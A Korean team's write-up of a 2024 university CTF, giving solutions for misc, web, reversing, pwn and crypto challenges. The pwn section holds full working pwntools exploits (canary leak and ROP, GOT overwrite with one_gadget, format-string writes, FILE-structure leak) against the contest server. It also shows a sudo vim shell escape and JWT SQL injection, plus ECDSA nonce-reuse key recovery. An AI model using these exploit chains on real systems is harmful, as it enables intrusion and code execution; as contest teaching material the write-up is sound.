제 5회 2024 중부대학교 주최 해킹방어대회에 참여했습니다.
팀명: 세명 7위(장려상)를 하였습니다.

3인방 tell. discord
pwn: _daese
crypto & forensic: burdock129
rev & web: btb4772
misc
**노래좀 듣게 안경을 왜 가져오라는지 이해가 안갔다. 파일은 mp3 파일을 하나 주는데 중독성 좋은 중부대학교 CTF 홍보 노래가 나온다
Audacity 이라는 음원파일을 주파수로 나타내는 프로그램이 있었다.

처음엔 전혀 알아 볼 수 없어 구글링을 해봣는데 스펙트로그램 모드를 키면 사진과 같이 나온다고 한다 이를 확대하면

사진과 같이 플래그가 미세하게 보인다 감으로 때려 맞추는 수동 브루트 포스를 얼마나 시도 했는지 모르지만 겨우겨우 대입해본 결과 플래그를 얻어낼 수 있었다.
🚩scpCTF{G1v3_Me_Gl4sses_4_the_F1a9}
제공해주는 파일은 flag,kite_war 뿐이다


scpCTF{ } 안에 숫자들이 보인다 보자마자 kite_war 의 문자열 인덱스 인거 같아서 코드를 짯다.
data = [930, 760, 262, 859, 1089, 1081, 391, 31, 1109, 258, 463, 699, 70, 172, 769, 1080, 1047, 14, 217, 302, 1009, 302, 724, 229, 520]
kite = ""
with open("./kite_war") as f:
kite = f.read()
print("scpCTF{",end='')
for i in data:
print(kite[i],end='')
print("}")
🚩scpCTF{i solved the beale papers}
WEB
문제 서버 접속 시 CLI 창이 뜬다. ls를 쳐봤을 때 app.py와secret 디렉토리가 있다. secret 안에 flag가 있을 것으로 예상했다. 일반 cat 으론 안되어 sudo cat secret/flag.txt 으로 flag를 읽어왔다.

🚩scpCTF{su_5u_su_5up3rn0va~}
더욱 업그레이드 된 Webshellup2 이다. 똑같이 CLI 창이 뜨고 ls을 해봤을때 app.py와 secret 디렉토리가 있다. 전에 했던 명령어론 flag를 읽어올 수 없다. 그래서 sudo -l을 하여 허가 된 권한들을 확인했다
Matching Defaults entries for user on 0224d51a27ba:
!authenticate
User user may run the following commands on 0224d51a27ba:
(ALL) NOPASSWD: /usr/bin/sudo --version, sudoedit, /usr/bin/sudo -e, /usr/bin/vim, /bin/ls, /usr/bin/id, /bin/nc
위와 같이 vim이 허가 되있다.
sudo vim -c ':!cat secret/flag.txt' -c 'q!'로 시도를 해봤는데 플래그가 읽어와졌다.
🚩scpCTF{surry_7his_is_re4l_5upern0v4}
guest 로 로그인하여 보면 check cookie와 reset cookie를 할 수 있는 버튼이 있다.

guest의 쿠키를 확인했을 때 jwt로 이루어져 있는 것을 볼 수 있다.

그래서 그냥 username을 admin 으로 바꾸고 check cookie를 해봤다.

하지만 안된다 근데 SQLkid 라는 문제 제목을 보고 kid 헤더에 SQL Injection 쿼리를 넣고 변조해봤다.

flag가 나왔다. 그저 admin으론 인식할 수 없어서 그런것이였을까? 웹 초보로써 이유가 뭔진 아직 정확하게 모르지만 문제 자체가 언인텐 풀이가 많이 나왔었다 어떤사람은 그저 admin헤더가 바꿔서도 나오고 정석 풀이는 blind sql injection을 통한 풀이였다고 한다.
🚩scpCTF{v3ry_e4sy_6lind_sq1}
REV
original binary가 없습니다
IDA 코드를 그대로 구현하면 된다.
a = 0x0B
b = 0x26
c = 0x3C
d = 0x17
e = 0x29
f = 0x1A
g = 0x33
h = 0x0D
i = 0x16
j = 0x2D
k = 0x19
l = 0x32
m = 0x25
n = 0x1C
o = 0x3B
p = 0x06
flag_chars = []
a1 = 113 + (a & b)
flag_chars.append(chr(a1))
a2 = 36 + (c | d)
flag_chars.append(chr(a2))
a3 = 30 + 2 * e
flag_chars.append(chr(a3))
a4 = 5 + (g ^ h)
flag_chars.append(chr(a4))
a5 = 21 + (i | j)
flag_chars.append(chr(a5))
a6 = 54 + (k & l)
flag_chars.append(chr(a6))
a7 = 49 + 2 * m
flag_chars.append(chr(a7))
a8 = 56 + (o | p)
flag_chars.append(chr(a8))
a9 = 44 + (e & f)
flag_chars.append(chr(a9))
a10 = 64 + ((~h) & 0xFF & g)
flag_chars.append(chr(a10))
a11 = 50 + (i ^ j)
flag_chars.append(chr(a11))
a12 = 37 + (k >> 1)
flag_chars.append(chr(a12))
a13 = 53 + (m ^ n)
flag_chars.append(chr(a13))
a14 = 101 + (o & p)
flag_chars.append(chr(a14))
a15 = 132 + (((~b) & 0xFF) | a)
a15 = a15 % 256
flag_chars.append(chr(a15))
a16 = 45 + ((~d) & 0xFF & c)
flag_chars.append(chr(a16))
a17 = 21 + (e | f)
flag_chars.append(chr(a17))
a18 = 90 + 2 * h
flag_chars.append(chr(a18))
a19 = 101 + (i & j)
flag_chars.append(chr(a19))
a20 = 26 + (l >> 1)
flag_chars.append(chr(a20))
a21 = 59 + (c ^ i)
flag_chars.append(chr(a21))
a22 = 152 + (((~o) & 0xFF) | m)
a22 = a22 % 256
flag_chars.append(chr(a22))
flag = "scpCTF{" + "".join(flag_chars) + "}"
print(flag)
🚩scpCTF{w4rm1ng_UPti3e}
바이너리 내용은 대략 이러하다.
1. 짧은 시간안에 랜덤으로 생성되는 문자열을 5번 생성하는데 옳바르게 전부 다 입력 해야함
2. 거짓 난독화 문자열이랑 참 난독화 문자열을 걸러서 5번을 입력해야 함
import pexpect
def main():
program_path = './timeover'
child = pexpect.spawn(program_path, timeout=2)
for attempt in range(5):
try:
child.expect('type :')
output = child.before.decode('utf-8', errors='ignore')
print(f"\n[시도 {attempt + 1}]")
print("프로그램 출력:")
print(output)
lines = output.strip().split('\n')
obfuscated_line = None
for line in reversed(lines):
if line.strip():
obfuscated_line = line
break
if obfuscated_line is None:
print("난독화된 문자열을 찾을 수 없습니다.")
return
print("난독화된 문자열:")
print(obfuscated_line)
real_input = obfuscated_line[::2]
print("추출된 실제 입력:")
print(real_input)
child.sendline(real_input)
index = child.expect(['correct!', 'wrong'])
if index == 0:
print('프로그램 응답: correct!')
else:
print('프로그램 응답: wrong')
print("올바른 문자열을 입력하지 못했습니다.")
child.close()
return
except pexpect.exceptions.TIMEOUT:
print("시간 초과로 인해 프로그램이 종료되었습니다.")
child.close()
return
child.expect(pexpect.EOF)
final_output = child.before.decode('utf-8', errors='ignore')
print("\n[플래그 출력]")
print(final_output)
if __name__ == '__main__':
main()
python 특성상 속도가 느려 2~3번 실행을 하면 flag가 따진다
🚩flag is : scpCTF{taja_gosu}
encrypt text를 줍니다. IDA 로직을 그대로 구현하고 encrypt text를 돌려주면 됩니다.
def apply_case_flip(src):
new_src = []
for c in src:
if 'a' <= c <= 'z':
new_src.append(chr(ord(c) - 32))
elif 'A' <= c <= 'Y':
new_src.append(chr(ord(c) + 32))
else:
new_src.append(c)
return ''.join(new_src)
def reverse_sub_140E(src):
for k in range(1, 11):
if k % 2 == 1:
src = ''.join([chr(ord(c) - 1) for c in src])
else:
src = ''.join([chr(ord(c) + 1) for c in src])
for _ in range(7):
src = apply_case_flip(src)
return src
def reverse_sub_12EB(src, i):
src = reverse_sub_140E(src)
for k in range(1, i+1):
src = ''.join([chr(ord(c) ^ k) for c in src])
return src
def reverse_main(s2):
src = s2
for i in reversed(range(0, 31)):
src = reverse_sub_12EB(src, i)
return src
if __name__ == "__main__":
s2 = "Zlsluhje5rZnbkhr"
original_input = reverse_main(s2)
print("원래의 입력값은:", original_input)
🚩scpCTF{ZLSLUhJE5RZnBKhR}
그저 대문자는 소문자로 소문자는 대문자로 바꿔주는 간단한 로직이다.
s1, s2 encrypt text 파일을 준다
def sub_1386(s, a2):
for _ in range(a2):
for j in range(31):
if j == 0:
v3 = s[1]
s[1] = s[0]
else:
v4 = s[j + 1]
s[j + 1] = v3
v3 = v4
s[0] = v3
return s
def sub_1446(s, a2):
for _ in range(a2):
for j in range(31):
if j == 0:
v3 = s[1]
s[1] = s[0]
else:
v4 = s[j + 1]
s[j + 1] = v3
v3 = v4
s[0] = v3
return s
def sub_1517(s, a2, a3):
v7 = s.copy()
v4 = 0
for i in range(a2, a3):
v7[i] = s[a3 - v4 - 1]
v4 += 1
for j in range(a2, a3):
s[j] = v7[j]
return s
def sub_15BE(s, a2, a3):
v8 = s.copy()
dest = s.copy()
v5 = 0
for i in range(a2, a3):
v8[i] = dest[a3 - v5 - 1]
v5 += 1
for j in range(a2, a3):
s[j] = v8[j]
return s
def rotate_right(s, a2):
for _ in range(a2):
last_char = s[-1]
for j in range(len(s) - 1, 0, -1):
s[j] = s[j - 1]
s[0] = last_char
return s
def rotate_left(s, a2):
for _ in range(a2):
first_char = s[0]
for j in range(len(s) - 1):
s[j] = s[j + 1]
s[-1] = first_char
return s
def transform(s):
s = sub_1386(s, 3)
s = sub_1446(s, 10)
s = sub_1517(s, 0, 32)
s = sub_1446(s, 12)
s = sub_1517(s, 0, 16)
s = sub_15BE(s, 8, 24)
s = sub_1517(s, 16, 32)
s = sub_15BE(s, 0, 32)
s = sub_1386(s, 20)
s = sub_1517(s, 24, 32)
return s
def inverse_transform(s):
s = sub_1517(s, 24, 32)
s = rotate_left(s, 20)
s = sub_15BE(s, 0, 32)
s = sub_1517(s, 16, 32)
s = sub_15BE(s, 8, 24)
s = sub_1517(s, 0, 16)
s = rotate_left(s, 12)
s = sub_1517(s, 0, 32)
s = rotate_left(s, 10)
s = rotate_left(s, 3)
return s
def main():
s2 = "26p3x74vt5j2u0o7w9lkp1vyuzpo1e0q"
print("최종 목표 문자열 s2:", s2)
s2_list = list(s2)
s1_list = inverse_transform(s2_list.copy())
s1 = ''.join(s1_list)
print("입력해야 할 문자열 s1:", s1)
transformed_s1_list = transform(list(s1))
transformed_s1 = ''.join(transformed_s1_list)
print("변환된 s1:", transformed_s1)
if transformed_s1 == s2:
print("검증 성공: 변환된 s1이 s2와 일치합니다.")
else:
print("검증 실패: 변환된 s1이 s2와 일치하지 않습니다.")
if __name__ == "__main__":
main()
얘도 IDA 로직을 그대로 구현하면 된다.
🚩scpCTF{26p3x74vt5j2u0o7w9lkp1vyuzpo1e0q}
PWN


일단 BOF가 터진다 하지만 카나리가 걸려있어서 첫번째 read에서는 카나리를 릭하고
2번째 read 에서는 ROP를 하면 된다 하지만 56바이트로 제한 되어있기에 ROP하기에는 사이즈가 부족했다 그래서 생각해낸게 ret_to_main 기법이다

sfp를 setvbuf_got+0x20두고 ret에 0x401233 넣으면 다시 위에 사진부분으로 돌아가게 되는데
첫번쨰 read , read(0,setvbuf,0x38h) 를 호출하게된다 사실 “이부분은 필요없음” 그래서 그냥 원래 setvbuf_got 에 값인 0xf0 를 넣고 통과한다 그다음에 printf([rbp+buf]) 를 호출하게되는데 이러면 setvbuf 의 got 를 출력하게된다 libc leak 성공! 그 다음 read 에서는 (0,setvbuf,0x38h) 를 또다시 호출하는데 b"$"+b"\x00"*7 + p64(one_gadget) 을 넣으면 setvbuf 에는 $ 과 0 이 들어가게 되고 exit_got 에는 one_gadget 에 들어가게된다.

이 부분 레지스터 상황에 맞는 원가젯 찾아서 exit got overwirte 해주면 쉘이 따진다

from pwn import *
from time import sleep
pop_rbp = 0x00000000004011bd
main_1 = 0x401219
#pop_rdi = 0x00000000004013d3
#p = process("./challenge",env = {'LD_PRELOAD':'./libc-2.31.so'})
p = remote("44.210.9.208", 10012)
libc = ELF("./libc-2.31.so")
payload = b"A"*25
p.sendafter(b"name : ",payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
payload = b"A"*24 + p64(canary) + p64(0x404020+0x38) + p64(main_1)
p.sendafter(b"rename : ",payload)
p.send(b"\xf0")
p.recvuntil(b"Hello, ")
libc_base = u64(p.recvn(6)+b"\x00"*2) - libc.symbols['setvbuf'] - 0x10
success(f"libc base addr : {hex(libc_base)}")
og = 0xe3b01
payload = b"$"+b"\x00"*7 + p64(libc_base+og)
pause()
p.sendlineafter(b"rename : ",payload)
p.interactive()
🚩scpCTF{2yxlXCFpX8pbtcJAUpXY2gZlitfjBt}

func 함수포인터,stack 모두 bss에있는데 push 하는데 검증이 없어서 func 함수 포인터를 덮을수있다 10번 늘리면 딱 func 까지가서 입력으로

get_shell 주소 준다음에 4번 메뉴로 나가면 쉘이 따진다.
from pwn import *
#p = process("./challenge")
p = remote("44.210.9.208", 10013)
for i in range(10):
p.sendlineafter(b"> ",b"1")
p.sendlineafter(b" : ",b"A"*8)
p.sendlineafter(b"> " ,b"1")
p.sendlineafter(b" : ",p64(0x00000000004012F2))
p.interactive()
🚩scpCTF{TYr64HK4QhV8PzRcPFlqolsBHX6sXU}

그냥 s1 에는 “FLAG, give it to me quickly\x00” 을 넣고 v5 에는 1이 아닌 아무가나 넣고 ROP 하면 된다.
from pwn import *
pop_rdi = 0x00000000004013d3
#p = process("./challenge")
p = remote("44.210.9.208", 10016)
e = ELF("./challenge")
payload = b"FLAG, give it to me quickly\x00"
payload += b"A"*(80-4-0x10-0x8) + p64(0x404700)
payload += p64(pop_rdi) + p64(0x404100)
payload += p64(e.plt['gets'])
payload += p64(pop_rdi) + p64(0x404100)
payload += p64(e.plt['system'])
pause()
p.sendline(payload)
pause()
p.sendline(b"/bin/sh\x00\x00")
p.interactive()
🚩scpCTF{I'll_gi3YouF7ag!!!_ConGratua4ion@}

명령어 검사하는 로직인데 그냥 통과하는 명령어 짜주면 된다.

ls;od -c $(printf %s f l a g)
🚩scpCTF{VfhQbDLZIaoQt2PzyypflOgnCTBVRK}
int main()
{
srand(time(NULL));
Frame frame;
frame.size = 0x2c;
pthread_t th1;
char c;
install(&(frame.canary));
memset(frame.buf, 0, sizeof(frame.buf));
initialize();
pthread_create(&th1, NULL, guard, (void *)&(frame.canary));
power = 1;
while (power)
{
menu();
scanf(" %d", &ch);
switch (ch)
{
case 1:
printf("buf : ");
printf("%s\n", frame.buf);
break;
case 2:
printf("buf : ");
scanf("%44s", frame.buf);
while ((ch = getchar()) != '\n' && ch != EOF);
printf("retry? ");
scanf("%c", &c);
while ((ch = getchar()) != '\n' && ch != EOF);
if (c == 'y')
{
printf("buf : ");
read(0, frame.buf, frame.size-1);
}
break;
case 3:
printf("exit\n");
power = 0;
break;
}
}
pthread_cancel(th1);
return 0;
}
[바이너리 디컴파일 한 코드] 코드를 보면 install 함수로 사용자 정의 카나리를 만들고 쓰레드로 실시간으로 값이 바뀌는지 확인하고있다
실시간으로 확인하기때문에 널바이트 덮어서 릭은 불가능하고 srand 즉 rand의 시드를 알아내는것은 힘들지만 time() 이기 때문에 그냥 로컬에서도 srand(time())을 호출 하면 똑같은 카나리 값을 만들수있다(연결시간 보정 time()+2)
다음에 그냥 ROP 하면 된다 그런데 libc leak 을 못하기때문에 csu 가젯이랑
0x000000000040129c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
위 가젯을 적절히 조합해서 printf_got 를 원가젯으로 바꿔준다음에 ret_to_got 로 printf 를 호출하면 쉘이 따진다.
from pwn import *
import ctypes
from time import sleep
def install():
a1 = 0
for i in range(8):
rand_val = libc.rand() % 255
a1 |= rand_val << (8 * i)
a1 &= ~0xFF
return a1
e = ELF("./challenge")
libc_elf = ELF("./libc-2.31.so")
libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.rand.restype = ctypes.c_int
#p = process("./challenge")
p = remote("44.210.9.208", 10011)
libc.srand(libc.time()+2)
#libc.srand(libc.time())
canary = install()
success(f"canary : {hex(canary)}")
add = 0x000000000040129c
csu_pop = 0x000000000040166A
pop_rdi = 0x0000000000401673
pop_rbp = 0x000000000040129d
csu_init = 0x0000000000401650
payload = b"A"*44
p.sendlineafter(b"> ",b"2")
p.sendlineafter(b"buf : ",payload)
sleep(2)
p.sendlineafter(b"retry? ",b"y")
og = 0xe3b04
payload = b"B"*44 + p32(0xFFFFFFFF) + p64(canary) + p64(0)*2
payload += p64(csu_pop)
payload += p64(og-libc_elf.symbols['printf'])
payload += p64(e.got['printf']+0x3d)
payload += p64(0)*4
payload += p64(add)
payload += p64(csu_pop)
payload += p64(0)
payload += p64(0x404800)
payload += p64(0)*3
payload += p64(e.got['printf'])
payload += p64(csu_init)
p.sendafter(b"buf : ",payload)
p.sendlineafter(b"> ",b"3")
🚩scpCTF{6N9Xf95ZkzkxFmOmGvSOoVDgANkAUy}
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char s[120]; // [rsp+0h] [rbp-80h] BYREF
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
initialize(argc, argv, envp);
memset(s, 0, sizeof(s));
read(0, _bss_start, 72uLL);
fflush(_bss_start);
read(0, s, 119uLL);
printf(s);
puts("exit\n");
exit(0);
}
[바이너리 디컴파일 코드]
위 코드는 stdout 구조체이 read 를 받고 fflush(stdout) 한다음에 fsb가 터지는 간단한 코드이다
stdout 구조체이 p64(0xfbad1800) + b'\x00'*25 이 값을 넣게되면 stdout 구조체안에 있는 값들이 쫙 나오게 된다 이걸 이용해서 libc 베이스 구하고 puts 안에서 호출하는 abs_got 를 원가젯으로 덮어주면 풀리게된다.
from pwn import *
#p = process("challenge",env = {'LD_PRELOAD':'./libc-2.27.so'})
p = remote("44.210.9.208", 10014)
libc = ELF("./libc-2.27.so")
context.bits = 64
context.arch = 'amd64'
payload = p64(0xfbad1800) + b'\x00'*25
p.send(payload)
for i in range(17):
p.recvn(8)
leak = u64(p.recvn(8))
_IO_2_1_stdout_ = leak-131
libc_base = _IO_2_1_stdout_ - libc.symbols["_IO_2_1_stdout_"]
og = 0xe5502+libc_base
abs = 0x3eb0a8+libc_base
payload = fmtstr_payload(6,{abs:og})
success(f"libc base addr : {hex(libc_base)}")
print(hex(og))
pause()
p.send(payload)
p.interactive()
🚩scpCTF{pxTpSTMP3yBcaqFx3hdl7HjUf57LcR}
void __noreturn peter_pan()
{
char format[128]; // [rsp+0h] [rbp-80h] BYREF
while ( 1 )
{
puts("\nwe have to escape from Captain Hook!!");
puts("> ");
__isoc99_scanf("%80s", format);
printf(format);
}
}
메인에서 호출하는 피터팬 함수이다 그냥 FSB가 무한으로 터진다 그래서 %2$p 로 libc 베이스를 구할수있다 puts 안에서 호출하는 abs_got 를 원가젯으로 덮으면 쉘이 따진다.
from pwn import *
#p = remote("localhost",10019)
p = remote("44.210.9.208", 10019)
context.bits = 64
context.arch = 'amd64'
payload = b"%2$p"
p.sendlineafter(b"> ",payload)
p.recvline()
leak = int(p.recvline(), 16)
libc_base = leak-0x3ed8d0
payload = b"%14$p"
p.sendlineafter(b"> ",payload)
p.recvline()
leak = int(p.recvline(), 16)
peterpan_ret_addr = leak+0x88
success(f"libc base address : {hex(libc_base)}")
og = 0xe5502+libc_base
abs = 0x3eb0a8+libc_base
payload = fmtstr_payload(6,{abs:og},write_size='short')
print(payload,len(payload))
p.sendlineafter(b"> ",payload)
p.interactive()
🚩scpCTF{F1y_2_N3v3rL@nd_4ev3r}
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = 0;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( 1 )
{
print_menu();
__isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 2:
free_chance();
break;
case 3:
show_chance();
break;
case 1:
malloc_chance();
break;
default:
puts("Invalid option");
break;
}
if ( i == 1 && j == 1 && z == 1 )
give_chance();
}
}
free , malloc 은 말 그대로 청크를 할당 해제해주는 함수이다 (별로 안중요함)
unsigned __int64 give_chance()
{
_QWORD *v1; // [rsp+8h] [rbp-18h] BYREF
__int64 v2; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( x == 1 )
{
printf("no more chance.");
exit(1);
}
puts("You used every chance.. I'll give you last chance");
puts("write your name.");
__isoc99_scanf("%llu", &v1);
puts("show your efforts.");
__isoc99_scanf("%llu", &v2);
*v1 = v2;
i = 0;
j = 0;
++x;
return __readfsqword(0x28u) ^ v3;
}
free show malloc 을 아무값이나 넣고 한번씩 호출해주면 give_chance 호출할수있는데 일단 give_chance를 무한히 호출해주기 위해서 (*v1 = v2)를 이용해서 전역변수 x를 1로 설정해주었다 그러면 ++x 때문에 x가 2로 세팅이 되기때문에 if (x==1) 조건문은 무용지물이 된다.
그다음에 give_chance를 쓰기 위해서 malloc,free을 한번더 해주었다
다음으로는 show 기능을 활용해서 libc leak을 하기 위해서 one_change+0x50 에 puts_got 주소를 넣어줬다
그런다음에 show 기능을 활용하기 위해서 다시 malloc,free 을 해서 give_chance 를 한번더 호출 해줬다 show 기능을 사용하기 위해서는 z 값이 0이여야하는데 (*v1 = v2) 이 기능을 사용해서 초기화를 해주면 v1,v2가 둘다 8바이트를 넣기때문에 z 다음에 x 까지 덮힌다 x는 1이여야하고 z는 0 이여야하니까
str(0x000000000100000000) 을 넣으면 된다.
그런 다음에 show 기능으로 one_change+0x50을 show 하면 libc 베이스 릭이 되고 puts 안에서 호출하는 abs_got 를 원가젯으로 덮으면 쉘이 따진다.
from pwn import *
# for i in range(50,50+100):
# p = remote("localhost",10018)
# p.sendlineafter(b"> ",b"3")
# p.sendlineafter(b"?\n",str(-i).encode())
# print(i)
# p.interactive()
one_chance = 0x6020c0
x = 0x6020A8
z = 0x6020A4
#p = remote("localhost",10018)
#p = remote("localhost",10018)
p = remote("44.210.9.208", 10018)
libc = ELF("./libc-2.23.so")
p.sendlineafter(b"> ",b"1")
p.sendafter(b"Content: ",b"A"*10)
p.sendlineafter(b"> ",b"3")
p.sendlineafter(b"watch?\n",b"0")
p.sendlineafter(b"> ",b"2")
p.sendlineafter(b"> ",b"0")
p.recvuntil(b"name.\n")
p.sendline(str(x).encode())
p.recvuntil(b"show your efforts.\n")
p.sendline(str(2).encode())
p.sendlineafter(b"> ",b"1")
p.sendafter(b"Content: ",b"B"*10)
p.sendlineafter(b"> ",b"2")
p.sendlineafter(b"> ",b"0")
# p.recvuntil(b"name.\n")
# p.sendline(str(z).encode())
# pause()
# p.recvuntil(b"show your efforts.\n")
# p.sendline(str(0x0000000001ffffffd0).encode())
# p.sendlineafter(b"> ",b"3")
# p.sendlineafter(b"watch?\n",b"0")
p.recvuntil(b"name.\n")
p.sendline(str(one_chance+0x50).encode())
p.recvuntil(b"show your efforts.\n")
p.sendline(str(0x602020).encode())
p.sendlineafter(b"> ",b"1")
p.sendafter(b"Content: ",b"C"*10)
p.sendlineafter(b"> ",b"2")
p.sendlineafter(b"> ",b"3")
p.recvuntil(b"name.\n")
p.sendline(str(z).encode())
p.recvuntil(b"show your efforts.\n")
p.sendline(str(0x000000000100000000).encode())
p.sendlineafter(b"> ",b"3")
p.sendlineafter(b"watch?\n",b"10")
puts = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = puts - libc.symbols['puts']
success(f"libc base addr : {hex(libc_base)}")
p.sendlineafter(b"> ",b"1")
p.sendafter(b"Content: ",b"D"*10)
p.sendlineafter(b"> ",b"2")
p.sendlineafter(b"> ",b"4")
p.recvuntil(b"name.\n")
p.sendline(str(0x602020).encode())
p.recvuntil(b"show your efforts.\n")
p.sendline(str(0x45226+libc_base).encode())
p.interactive()
🚩scpCTF{1_T1M3_0nly@0pp0rtunity!}
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // [rsp+Ch] [rbp-4h] BYREF
initialize(argc, argv, envp);
v3 = time(0LL);
srand(v3);
while ( 1 )
{
if ( fishing_attempts == 20 && !large_fish )
mermaid();
print_menu();
__isoc99_scanf("%d", &v4);
if ( v4 == 4 )
{
exit_game();
exit(0);
}
if ( v4 > 4 )
{
LABEL_15:
puts("Try again..");
}
else
{
switch ( v4 )
{
case 3:
shop();
break;
case 1:
go_fishing();
break;
case 2:
print_fish();
break;
default:
goto LABEL_15;
}
}
}
}
일단 중요해보이는 mermaid 함수를 봐보자
__int64 mermaid()
{
__int64 result; // rax
int v1; // [rsp+8h] [rbp-8h] BYREF
__int16 v2; // [rsp+Eh] [rbp-2h]
result = wish;
if ( !wish )
{
puts("You found a mermaid!");
puts("Enter Your wish: ");
__isoc99_scanf("%u", &v1);
v2 = v1 + money;
if ( (v1 + money) > 0 )
{
puts("The mermaid rejected your wish....");
exit(0);
}
puts("The mermaid make a wish come true....!!!");
money += 10000;
printf("Your money is now: %u\n", money);
return ++wish;
}
return result;
}
money+v1 이 0이거나 음수면 돈 10000을 준다
일단 머메이드 함수 조건인 낚시 횟수 20회를 맞추고 다음 조건인 !large_fish 를 맞추기 위해
shop에 가보자

물고기를 다 팔면 판 금액을 알려준다 근데 라지피시만 팔았기 때문에 이 값이 현재 돈 값이 된다.
그래서 저 값을 기억해두고
shop 을 나가면 머메이드 함수가 호출이되는데
__isoc99_scanf("%u", &v1);
v2 = v1 + money;
if ( (v1 + money) > 0 )
{
puts("The mermaid rejected your wish....");
exit(0);
}
조건을 위에서 money 값은 알아냈으니 v1에 str(0xFFFFFFFF-money) 넣어주면 (v1+money)가 0이된다. 그래서 10000원을 얻고
다시 샵에가면

printf got 를 준다 이걸로 libc 베이스 구하면되고
exit 메뉴로 ROP하면 된다

from pwn import *
#p = remote("localhost",10017)
p = remote("44.210.9.208", 10017)
e = ELF("./challenge")
libc = ELF("./libc-2.31.so")
pop_rdi =0x0000000000401833
pop_rsi_r15 = 0x0000000000401831
pop_rbp = 0x000000000040120d
ret = 0x000000000040101a
for i in range(19):
p.sendlineafter(b"choose: \n",b"1")
p.sendlineafter(b"choose: ",b"3")
p.sendlineafter(b"choose: ",b"2")
p.sendlineafter(b"choose: ",b"1")
p.recvuntil(b"get ")
money = int(p.recvuntil(b" ")[:-1])
p.sendlineafter(b"choose: ",b"1")
p.sendlineafter(b"wish: \n",str(0xFFFFFFFF-money).encode())
p.sendlineafter(b"choose: ",b"3")
p.sendlineafter(b"choose: ",b"1")
p.recvuntil(b"bait!! ")
printf = int(p.recvline()[:-1],16)
libc_base = printf-libc.symbols['printf']
system = libc_base +libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
success(f"libc base addr : {hex(libc_base)}")
payload = b"A"*64
payload += p64(0)
payload += p64(pop_rdi) + p64(binsh) + p64(ret)
payload += p64(system)
p.sendlineafter(b"choose: ",b"4")
p.send(payload)
p.interactive()
🚩scpCTF{You_4r3_K1n&_0F_FiSh1nG!}
Crypto
from Crypto.Util.number import bytes_to_long, long_to_bytes
def reverse_shift_right_xor(val, shift):
result = 0
for i in range(32):
bit = 31 - i
if bit >= 32 - shift:
b = (val >> bit) & 1
else:
shifted_bit = (result >> (bit + shift)) & 1
b = ((val >> bit) & 1) ^ shifted_bit
result |= (b << bit)
return result
def reverse_shift_left_xor_mask(val, shift, mask):
result = 0
for i in range(32):
bit = i
if bit < shift:
b = (val >> bit) & 1
else:
mask_bit = (mask >> bit) & 1
if mask_bit:
shifted_bit = (result >> (bit - shift)) & 1
b = ((val >> bit) & 1) ^ shifted_bit
else:
b = (val >> bit) & 1
result |= (b << bit)
return result
def decrypt(enc_data):
data = bytes_to_long(enc_data)
data = reverse_shift_right_xor(data, 18)
data = reverse_shift_left_xor_mask(data, 15, 0xefc60000)
data = reverse_shift_left_xor_mask(data, 7, 0x9d2c5680)
data = reverse_shift_right_xor(data, 11)
data &= 0xffffffff
return long_to_bytes(data, 4)
if __name__ == '__main__':
enc_flag_hex = '622712241be0b1e37e2c3372f89605602b9e0f5f3520b1df65dc284a1ac8e76b'
enc_flag = bytes.fromhex(enc_flag_hex)
flag = b''
for i in range(0, len(enc_flag), 4):
block = enc_flag[i:i+4]
if len(block) < 4:
block = block.ljust(4, b'\x00')
decrypted_block = decrypt(block)
flag += decrypted_block
print("Decrypted Flag:", flag)
그냥 로직을 구하면 된다.
🚩scpCTF{Thi5_i5_n0t_3ncrypti0n!!}

When you connect to the server, you give random secret
class ECDSA:
def __init__(self):
self.curve = CurveP256()
self.k = k = randrange(1, self.curve.n)
The k value is generated only once when creating objects, and reused for all signatures.
A normal ECDSA must use a new random number k for each signature.
This is a k-value reuse vulnerability, which can be restored by signing two different messages.
ECDSA signature equation
s1 = (h1 + r * privKey) * k^(-1) mod n
s2 = (h2 + r * privKey) * k^(-1) mod n
Private Key Recovery Equation
from ECDSA import ECDSA
from CurveP256 import CurveP256
from Crypto.Hash import SHA256
import os
from pwn import *
conn = remote('44.210.9.208', 10007)
conn.recvuntil(b'secret : ')
secret = bytes.fromhex(conn.recvline().decode().strip())
secret_hash = SHA256.new(secret).digest()
print(f"[+] Secret: {secret.hex()}")
conn.sendlineafter(b'>>', b'1')
message1 = b'test1'
conn.sendlineafter(b'Input Message(hex) : ', message1.hex().encode())
sign1_str = conn.recvline().decode().strip()
r1, s1 = map(int, sign1_str.strip('()').split(', '))
print(f"[+] Message1 signature: r1={r1}, s1={s1}")
conn.sendlineafter(b'>>', b'1')
message2 = b'test2'
conn.sendlineafter(b'Input Message(hex) : ', message2.hex().encode())
sign2_str = conn.recvline().decode().strip()
r2, s2 = map(int, sign2_str.strip('()').split(', '))
print(f"[+] Message2 signature: r2={r2}, s2={s2}")
curve = CurveP256()
n = curve.n
h1 = int.from_bytes(SHA256.new(message1).digest(), 'big')
h2 = int.from_bytes(SHA256.new(message2).digest(), 'big')
print(f"[+] h1: {h1}")
print(f"[+] h2: {h2}")
# k 값 계산: k = (h1 - h2) * inverse(s1 - s2) mod n
k = ((h1 - h2) * pow(s1 - s2, -1, n)) % n
print(f"[+] Recovered k: {k}")
privKey = ((s1 * k - h1) * pow(r1, -1, n)) % n
print(f"[+] Recovered private key: {privKey}")
h_secret = int.from_bytes(secret_hash, 'big')
ecdsa = ECDSA()
ecdsa.k = k
sign = ecdsa.sign(privKey, secret_hash)
print(f"[+] Generated signature for secret: r={sign[0]}, s={sign[1]}")
conn.sendlineafter(b'>>', b'2')
conn.sendlineafter(b'Input Message(hex) : ', secret.hex().encode())
